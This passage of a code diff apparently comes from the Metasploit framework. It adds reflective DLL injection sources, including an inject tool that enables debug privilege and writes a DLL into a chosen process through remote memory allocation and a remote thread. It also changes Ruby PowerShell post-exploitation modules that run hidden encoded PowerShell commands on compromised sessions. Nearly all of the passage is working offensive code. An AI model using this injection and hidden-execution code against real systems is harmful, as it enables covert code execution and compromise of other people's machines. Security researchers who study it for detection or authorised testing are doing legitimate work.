if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
// resolve the address for this imported function
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// import by name...
DWORD dwCounter = pExportDirectory->NumberOfNames;
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
// test if we have a match...
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
fpResult = NULL;
}
return fpResult;
}
//===============================================================================================//

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@ -0,0 +1,36 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
//===============================================================================================//
#endif
//===============================================================================================//

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@ -0,0 +1,120 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "LoadLibraryR.h"
#pragma comment(lib,"Advapi32.lib")
#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }
// Simple app to inject a reflective DLL into a process vis its process ID.
int main( int argc, char * argv[] )
{
HANDLE hFile = NULL;
HANDLE hModule = NULL;
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
LPVOID lpBuffer = NULL;
DWORD dwLength = 0;
DWORD dwBytesRead = 0;
DWORD dwProcessId = 0;
TOKEN_PRIVILEGES priv = {0};
#ifdef WIN_X64
char * cpDllFile = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
char * cpDllFile = "reflective_dll.dll";
#else WIN_ARM
char * cpDllFile = "reflective_dll.arm.dll";
#endif
#endif
do
{
// Usage: inject.exe [pid] [dll_file]
if( argc == 1 )
dwProcessId = GetCurrentProcessId();
else
dwProcessId = atoi( argv[1] );
if( argc >= 3 )
cpDllFile = argv[2];
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
CloseHandle( hToken );
}
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
WaitForSingleObject( hModule, -1 );
} while( 0 );
if( lpBuffer )
HeapFree( GetProcessHeap(), 0, lpBuffer );
if( hProcess )
CloseHandle( hProcess );
return 0;
}

View File

@ -0,0 +1,234 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "LoadLibraryR.h"
#include <stdio.h>
//===============================================================================================//
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if( dwRva < pSectionHeader[0].PointerToRawData )
return dwRva;
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
{
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
}
return 0;
}
//===============================================================================================//
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// currenlty we can only process a PE file which is the same type as the one this fuction has
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
if( dwCompiledArch != 1 )
return 0;
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
if( dwCompiledArch != 2 )
return 0;
}
else
{
return 0;
}
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
//===============================================================================================//
// Loads a DLL image from memory via its exported ReflectiveLoader function
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
{
HMODULE hResult = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwOldProtect1 = 0;
DWORD dwOldProtect2 = 0;
REFLECTIVELOADER pReflectiveLoader = NULL;
DLLMAIN pDllMain = NULL;
if( lpBuffer == NULL || dwLength == 0 )
return NULL;
__try
{
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( dwReflectiveLoaderOffset != 0 )
{
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
{
// call the librarys ReflectiveLoader...
pDllMain = (DLLMAIN)pReflectiveLoader();
if( pDllMain != NULL )
{
// call the loaded librarys DllMain to get its HMODULE
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
hResult = NULL;
}
// revert to the previous protection flags...
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hResult = NULL;
}
return hResult;
}
//===============================================================================================//
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// defined in order to use the correct RDI prototypes.
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
// Note: This function currently cant inject accross architectures, but only to architectures which are the
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
{
BOOL bSuccess = FALSE;
LPVOID lpRemoteLibraryBuffer = NULL;
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
HANDLE hThread = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwThreadId = 0;
__try
{
do
{
if( !hProcess || !lpBuffer || !dwLength )
break;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hThread = NULL;
}
return hThread;
}
//===============================================================================================//

View File

@ -0,0 +1,41 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,53 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,44 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|ARM = Release|ARM
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Debug|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Debug|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -17,6 +17,38 @@ module Exploit::Powershell
], self.class)
end
#
# Return a script from path or string
#
def read_script(script_path)
return Rex::Powershell::Script.new(script_path)
end
#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0],set[1])
end
script
end
#
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
@ -24,14 +56,14 @@ module Exploit::Powershell
# @param script_in [String] Script contents
#
# @return [String] Encoded script
def encode_script(script_in)
def encode_script(script_in, eof = nil)
opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern
opts[mod_method.to_sym] = true
end
Rex::Powershell::Command.encode_script(script_in, opts)
Rex::Powershell::Command.encode_script(script_in, eof, opts)
end
#

View File

@ -1,5 +1,5 @@
# -*- coding: binary -*-
require 'zlib'
require 'msf/core/exploit/powershell'
require 'msf/core/post/common'
module Msf
@ -7,13 +7,19 @@ class Post
module Windows
module Powershell
include ::Msf::Exploit::Powershell
include ::Msf::Post::Common
# List of running processes, open channels, and env variables...
# Suffix for environment variables
def initialize(info = {})
super
register_advanced_options(
[
OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
], self.class)
end
#
# Returns true if powershell is installed
@ -25,118 +31,65 @@ module Powershell
end
#
# Insert substitutions into the powershell script
# Get/compare list of current PS processes - nested execution can spawn many children
# doing checks before and after execution allows us to kill more children...
# This is a hack, better solutions are welcome since this could kill user
# spawned powershell windows created between comparisons.
#
def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
def get_ps_pids(pids = [])
current_pids = session.sys.process.get_processes.keep_if {|p|
p['name'].downcase == 'powershell.exe'
}.map {|p| p['pid']}
# Subtract previously known pids
current_pids = (current_pids - pids).uniq
return current_pids
end
#
# Return an array of substitutions for use in make_subs
# Execute a powershell script and return the output, channels, and pids. The script
# is never written to disk.
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end
#
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end
# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end
#
# Return a zlib compressed powershell script
#
def compress_script(script_in, eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression += "$stream.ReadByte()|Out-Null;"
psh_expression += "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression += "$(New-Object IO.Compression.DeflateStream("
psh_expression += "$stream,"
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)
# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)
return encoded_expression
end
#
# Execute a powershell script and return the results. The script is never written
# to disk.
#
def execute_script(script, time_out = 15)
running_pids, open_channels = [], []
def execute_script(script, greedy_kill = false)
@session_pids ||= []
running_pids = greedy_kill ? get_ps_pids : []
open_channels = []
# Execute using -EncodedCommand
session.response_timeout = time_out
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
session.response_timeout = datastore['Powershell::Post::timeout'].to_i
ps_bin = datastore['Powershell::Post::force_wow64'] ?
'%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
script = encode_script(script.to_s)
end
ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
vprint_good("EXECUTING:\n#{ps_string}")
cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})
# Subtract prior PIDs from current
if greedy_kill
